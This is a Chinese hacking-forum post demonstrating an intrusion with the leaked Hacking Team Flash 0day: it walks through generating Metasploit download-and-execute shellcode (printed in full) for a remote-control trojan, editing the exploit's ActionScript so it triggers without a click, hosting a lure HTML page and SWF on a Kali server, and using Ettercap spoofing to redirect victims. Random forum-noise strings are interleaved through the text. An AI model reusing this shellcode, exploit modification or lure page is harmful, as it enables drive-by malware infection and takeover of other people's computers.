找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1696|回复: 0
打印 上一主题 下一主题

flash 0day之手工代码修改制作下载者实例入侵演示

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

6 s; m- B9 b) Y 三、flash 0day之手工代码修改制作下载者实例入侵演示 * ]" M0 C+ i- c! |! n2 d! d: d! y& N

3 Y7 b6 `, H/ X3 Z4 Y5 B: k

0 I6 F8 {4 y6 L' R, s* g2 R 利用到的工具: # N' e3 }2 W0 I5 X( H+ ^

" P' ` ?& K3 \, {

O9 [; [- Q0 ?( ]# E. Y Msf ' c! L- j1 z, f7 U( N' {! ~

' j' J3 W2 h2 {# v8 F

* P0 H% Z6 L5 K1 z: m7 @ Ettercap * [) N6 v* f6 B" M7 ?

9 L/ W* L) o6 n$ `4 [0 S

2 L1 S \& y# T) {# |7 M Adobe Flash CS6 & n& M/ x, y+ T

6 e5 P. q6 j& O# Z) a" }" q

+ I+ d H2 ]2 y* U: E Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 . R) g4 o* E5 X& v- q

' M* W: g9 t/ V; J

/ C; _: |( E/ t0 `5 V4 t 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options 6 `' b5 w8 |. @, `. E: K4 k

6 J+ G r- I% \+ |" T+ ~: D

* U1 U$ L7 R9 e2 X3 S, a4 ]2 [ 如图: # F3 N6 \% b6 E- _. L, Y

6 {2 C& o! o, J( r" Z

1 {+ w% G* l# I% U   " m' V O- `/ W) l/ \/ X/ W

* n0 j0 p- c9 I* v

+ X+ J2 H+ F$ o7 [2 C4 ~! j   ! P3 S" ?9 r' Q& `* k

7 ^) A; Q* O# R$ J3 `0 I

/ D6 B* C9 u; t# N 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: 9 B P# z: E' G. _5 A) H

$ F1 @- ]: U, x& F

" X9 [* R, F L: c3 R: y2 f) h. f   ( g7 T& s3 H" {4 ?3 Q

5 Q2 ^! H, `2 n( `

. p9 s. Y& S3 a9 | [   - y' l; J- p8 p$ O3 J

0 Y* \; v+ H9 D S% _& P

/ y9 C% Y6 [0 v! w3 ] 然后执行generate -t dword生成shellcode,如下: % }; C& Q9 D! e: j" ~. y* O& Z( T

+ Y5 `. ?/ }' }1 L( b. U

" R. {' E7 d. Y! H$ K9 f* `   8 i) T/ A! K7 X

; P2 I0 P" J$ |2 w7 o$ t* M

2 ~4 j$ H- Q0 m$ M1 Q 复制代码到文本下便于我们一会编辑flash exp,如下: / t7 O% E, c6 r- g4 \2 F/ N/ j

# i' h% u7 ]% o, |

" `6 H! x7 {: F7 u 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 7 G6 g$ q/ Z$ Z; P) K- \+ T. B

5 } h& I! i8 B+ G" t; z# W f

( B" e5 j2 J1 r# a. K* M: y( j9 d 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 5 N& C5 ]' b4 j; x5 Z' u" ~

3 M6 n: h% l4 J: p5 w" `9 [

: h$ B' @/ N; I+ E9 O 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 6 j, A2 Q! B* _* ?; d

3 Z- z, @8 ]1 f2 l( W! i; ?3 ~7 l

, P% o' b% t" S. p, M2 w' d0 N7 u/ f 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 2 Q# ~9 l1 u$ d3 K9 X: B- \( e5 R

4 W+ F* j2 N! r# z, x7 i1 t+ q5 n9 B

' S1 N- n9 K7 s5 V- V 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, ; V, H' r3 r) `) Q2 [

5 A- \. ~2 q3 n/ ]/ \8 y

! d# z) W9 Z: F1 k1 u( F 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, . {8 X" O- c1 p% Z" I

+ G% M5 c+ T% |1 q7 r' i

, v. g2 z; k; Y+ I7 w& ^6 R 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, 3 f+ v8 F3 ]4 ~2 o- b( r

9 D% d: ?- i8 f5 r+ E* t

3 t$ g2 g7 b; O 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, & Z9 c1 @6 H2 ?" E4 Y4 m

3 \2 d. u7 }. ?) t) ~

! U7 X. h: y9 s1 J4 i0 ^# u) S 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, ! q0 M# ]! V R- r# h; X; G( p" h; {

$ l* f3 r$ r3 S+ a0 V

4 {' d0 d4 Y4 [ R, m' {" q( X; R 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, , _! c* t* O: g0 K) L! o

+ i; X! V% s1 p

8 n. e' ~1 I& \2 G) @6 h) m+ R 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, $ Z6 d$ E# A5 @+ i- R

& w3 \( Y" s7 `5 D

4 H4 F3 e0 k- z3 H, t: |5 h& H' q 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, * L: `& k0 N* ~

% D, }( Q8 x& n0 e& b; S" d0 l8 q

! d$ Q, \* k8 z+ ^3 V& Y! d* z7 J 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, J+ e8 ~" A' a: H+ a

9 y" Y( r/ f$ k

, U0 g; @- {" _$ `) F 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 9 }5 {0 C, e: M% y5 C' G6 k* R6 q6 Z

# i8 J: F0 X: {! g' X0 q+ ]) Z4 W

* y" [% d9 G, `+ {7 }" @   ( f6 e, W, @8 c5 u2 t5 o; u

3 b _. Z" O& m% a

* {1 a6 y* I2 O0 x# c z   . ], z) c) h+ ^6 W3 i" F

' w, C. H& [5 X' f

- h+ R0 X* d3 @ 下面我们来修改flash 0day exp,需要修改三个文件,分别为: r' |- ?: J' S5 O7 @

p+ B& M2 t; j! K

# ?2 F3 ?. u) |! K0 q2 ]6 ?   + X2 M$ R) C! n

1 v- A2 y3 K% @2 h! r

7 Y- b* |- b" `, W5 Z 先修改ShellWin32.as,部分源代码如图: X4 N. t! j n) S8 F1 ^! ?

$ E8 e! ~% ?: h) x0 X) L! Y

* z/ Q& y' P+ L: f% y/ _- Q   " ^6 J0 l' q# i8 v

- b: G# |* q" X/ ?: A% Q5 @

4 m+ ^! [- {! L7 z4 p, ]1 N 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 4 K6 p6 M' B6 U

& r. W$ P& {' ?8 m# v/ n% `

3 t6 [- [* }3 e! n   - R) c8 q7 n* n! k K1 ~5 P

3 z4 |4 @3 ^/ Z' J6 E; K* R

' H0 m# g- B2 E, J: z8 {! e( l" N/ \ 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: ) u! P" K* ^6 n( F$ }1 d

+ R. A1 Z& i1 q4 D0 W' X

7 a' |$ U( k5 I1 ?   , x/ R( h S& @

- z6 x% l) r& }7 G

1 q7 w, h5 Z& \: c- g4 t 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: : {6 O( O- [' A9 ^4 E5 X: H- g6 S

; v- `" u0 D% G. }/ z

) z0 ~9 C( W- l& |* |   5 W4 Z* V2 x7 ?

0 w% c6 `- H4 B

' u8 v7 \% O4 v1 u7 q4 I   " @0 j9 r/ _8 [, J& N4 D8 h

$ _9 h' |& f9 @# G! p4 u

0 y+ o: \) r4 t j8 U0 |4 x4 L   # ^* m# Z) _$ ]* m; @

. h8 O, n5 k6 G5 x( ^7 @ K5 v2 e5 Y

' X) l- N. E w* W r9 [ 然后点保存,下面我们来编译一下,打开 5 y9 U' a! Y" k; v! W

& ~5 S, ? v! |# l' W

_4 l1 _2 M" j; W, F exp1.fla然后点文件-发布,看看编译没错误 9 F! x$ E, @% @8 R

2 ?* t: M) Q5 U6 a

# ^3 u% U: r4 n" i: `' ?   ! S5 `" P7 e' M. m# B S6 t' r

3 P! `4 ?# W* U

# C0 E B* f+ ?# ?! q4 U6 u; v   1 {% x: p" @$ G/ n: W+ Q" ~& Q

% g# r6 E2 U& Z( R. v

3 B- ^1 y" [( K! R   + ^* _6 o4 c) i6 U3 r6 C+ u* w

/ X; R, T* y8 V

, ~" S0 B) ? I* `   2 K* p3 B( h7 a6 u' h9 a9 L

$ C T8 m( k& u _$ Q

6 o; u5 T# X5 \0 `; j 然后我们把生成的 # J) g6 C8 n: m9 s7 i2 O2 b; E1 M

4 [; A& J+ w+ e" j

% I6 W6 q8 E% O: J& F exp1.swf丢到kailinux 的/var/www/html下: % s5 ?# d' ]( Z* [

4 K8 k0 b4 F: D& o- ^3 A2 x

* `; b" t0 P% |. O5 i& r( F9 n) u/ | 然后把这段代码好好编辑一下 1 H2 { M5 Z0 q% b; m: Y# p \; Y

. p1 V% E' e$ v7 u3 N6 P6 @

) {( |: k) ^3 D3 W( {$ j   0 v3 x$ a* _6 B& k

0 K; a, t& P/ |$ K

4 M4 Y* N- B% G. m8 H   : I6 F1 u: @! ]; z

$ O' T) v1 b& B! _; {

8 n( m+ n! H L8 S9 g2 z: X   9 {" L% ^1 N6 Y

. i1 {9 q, H' k L$ r4 f# _" `

9 i! U' A3 ~ ~* D: ?; a   5 d9 L# j: {7 v& o. Q

: |& D1 Q% N: S0 p; p2 |9 v% g2 G. I

( S. r( P% |/ \6 l   * R3 m9 n3 \( N8 p9 N9 h

1 U, o4 H# n( y& W% y& a

' ~, [$ E5 W/ @6 k! e% n   * p- V7 V: l, {2 F0 d- B! r

1 F; t/ ]" d2 V; x

- ?( U; h3 z) {( D6 n <!DOCTYPE html> 9 e \9 r% Z) n

* r+ R. G& J' R# n9 v

, ?) [& L/ o- g- u <html> 1 ]; L C b" j l1 d

" n2 P8 Z- c& e) {4 w

8 b h2 Z. ?! o+ V6 N <head> 7 {$ P! ^: h) ]# ?" h0 \8 v, b

: l$ I0 Z" O! C

! m3 m8 U8 P! T3 K% T* ] <meta http-equiv="Content-Type" content="text/html; - [ F! s) C; ?) c9 H) J

( ]: I+ V4 n+ J* C$ }& M8 \! o

) p6 @* s' {4 o/ I+ N8 p. _1 t charset=utf-8"/> 2 C+ v. H* g5 a" W s& C |1 l

7 X; A( H' W0 v. _- |9 Y

: E4 G! n; L' j8 B. ? </head> 9 C; p, @3 {* z7 y5 k

0 ^% ?% e6 [$ l# X" p

( W; G, ]2 t( k* Z2 D9 A <body> ' D U' [( M1 s) x1 ]: H6 M! @

+ G4 V& i7 ]) ?

3 l' P# N7 E5 I# H2 | <h2> Please wait, the requested page is loading...</h2> , h4 s# j% d+ }# T, Y

" h! S& h0 q2 f# t+ i

1 m2 h0 s$ N1 R( C' n( ` <br> + u6 K7 r$ |' x, |8 v1 g

8 r4 H O) }( j6 O2 p1 {

& m% P$ G! e, ^/ c4 y1 y <OBJECT $ N, f* L) ~" n8 F0 a* ~

# n# t8 b9 ?5 j, l1 `4 s3 I

2 T6 m" y+ A5 O8 @2 U3 Z/ q classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie ; J4 S/ U; h" T2 X( }0 F

9 D3 I# f# m5 u6 S, y \

! I+ K8 z! i! g) F VALUE="http://192.168.0.109/exp1.swf"></OBJECT> * m* @6 Q# s( x4 H% }

3 u, r% G; K" `6 P* t

; T- V8 b7 \" j+ j3 o0 v </body> 1 _9 n, R1 X' F. C

* ` Y; s5 t1 r! Y+ f' {7 j+ D

: H5 t% ~5 h7 w" Y8 S& z$ o <script> , k! _# i# [$ e: r# q% F! U

% k% y+ ]3 `/ y; }+ z

0 `2 c3 s) D- }* O$ U     setTimeout(function () { $ ^6 g/ k! w. w; g( r9 Z, `

$ x2 a; y( a( U

, m" j; Q% B' x3 r2 _9 U4 {/ Z6 J          ; U% K- X+ [2 d( h; H! F: R

+ g4 q' _( @6 T+ A

, F. H& q& H1 F$ ]! t- R9 H window.location.reload(); , E# X3 n7 v) o) @

: y* F4 a! D, ] w4 s

) W" [8 S' a) N; W3 | d2 b     }, 10000); L5 i2 i$ A4 b, B8 b4 p# a" x1 R, V

! I! p7 a0 x3 V) E2 x) E7 r' N* \

/ b4 g ?! t" y* X) g   7 B# D; @8 ~! F1 f: ^

# F7 u# L, d( M2 M' c0 F" q E

2 }( d3 |5 L& I* _% J3 P </script> % O0 u. R+ M- G; p2 \& [' o

& z! g( a) N6 Z1 |, C

- Y4 @0 H, Y4 K </html> . K& _- l1 m% E: G5 \$ G3 n

' ^, }1 q0 s- s) @

1 ?# @/ n2 T6 a4 s   3 ]! V0 R- h) ?5 B a; {

8 A/ a8 u3 o0 K7 ?$ @

: L0 K: ^# y# B8 X 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: 6 c% @" x6 C( T

% ]0 o1 L7 Y6 E+ y

- F( W3 {$ F1 d1 f9 ?; ^   . v. Z3 c3 I" b7 q m

5 g1 s U4 E6 P4 G5 H% h, ]

e2 N! _) \7 |0 B   # U. ^- g: z1 s" I/ c! |

% V# S2 ~) Q& ~ W* ~6 ?1 r

0 V' f1 ?* V( u" @! u' K   / U* j2 [: D, s4 V( E

) l" h; P/ V5 I

5 T6 k1 u: g1 c   4 I9 ~# A# b( G

& x( b* ]# p! T2 A

6 _& j& P7 s2 L5 P   . [9 @8 c* v8 L

, O- A' \% ?3 E, Y* [6 @3 r

8 l, V6 P# t7 z, X! f( ? ] 下面我们用ettercap欺骗如图: . B* ]; K/ ]1 x6 j, R; M

' n/ T! F$ H5 H, f$ N e

+ Y' f8 f% o. g9 S, X: T9 X% }   6 _+ r; } L9 u

* r0 B" I1 |! D. R' X. _; E

, ^* p' O( m% h5 c0 n1 W ]+ T8 ?0 z0 m   . Y8 D( M9 V4 @8 j0 `3 U

* U* X; q/ _: ]

! }4 `9 t4 X1 n 下面我们随便访问个网站看看: 0 `: {4 ]7 i! g! ^7 Z7 Y6 o2 w

, s' _' r1 k, J: m1 ^1 `

}: I/ T" A0 `+ u* c% f 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: . b8 b7 f- X' Y* h: T" w

$ d# N8 s+ K* b& d: @. |

& h/ {: s1 r8 V- w& J   8 l% k! x) l* ~2 H e1 i" z

: T5 T8 c# c* d9 p ?

7 r0 X( B! r4 e. j8 n; r* [ 我们看另一台, 7 ]2 t. _' r) {& `3 d$ Z

$ T) t2 p; T4 H

9 c$ n2 H/ q1 ]# F$ A# u0 ]. A. t' ] 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 * j6 j3 o& n; U6 k8 \7 T) A

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表